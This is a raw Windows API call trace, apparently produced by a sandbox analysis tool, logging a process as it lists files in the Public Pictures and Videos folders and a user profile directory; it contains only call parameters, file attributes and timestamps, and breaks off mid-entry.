1 [0217.031] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.031] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.031] FindClose (in: hFindFile=0x1d1f58f0 | out: hFindFile=0x1d1f58f0) returned 1 [0217.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.031] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0217.032] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*" (normalized: "c:\\users\\public\\pictures\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.032] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.032] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.032] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0217.032] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.033] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0217.033] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*" (normalized: "c:\\users\\public\\videos\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f58f0 [0217.033] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.033] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.033] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.034] FindClose (in: hFindFile=0x1d1f58f0 | out: hFindFile=0x1d1f58f0) returned 1 [0217.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.034] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0217.034] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*" (normalized: "c:\\users\\public\\videos\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.034] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.034] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.034] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0217.035] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0217.035] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0217.035] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.035] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.036] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0217.036] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0217.036] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0217.036] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0217.036] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xd7e2dd29, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xd7e2dd29, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0217.037] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf55efa29, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf55efa29, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0217.037] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0217.037] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0217.037] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0217.037] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0217.037] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf51d96fc, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf51d96fc, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0217.038] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d374e80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d374e80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d374e80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0217.038] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0217.316] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x3ce3dbd0, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2eb12999, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0x2eb12999, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x180000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0217.316] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x5c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x90000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x63434853, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0217.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf52702d7, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf52702d7, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0217.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0217.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0217.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0217.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, 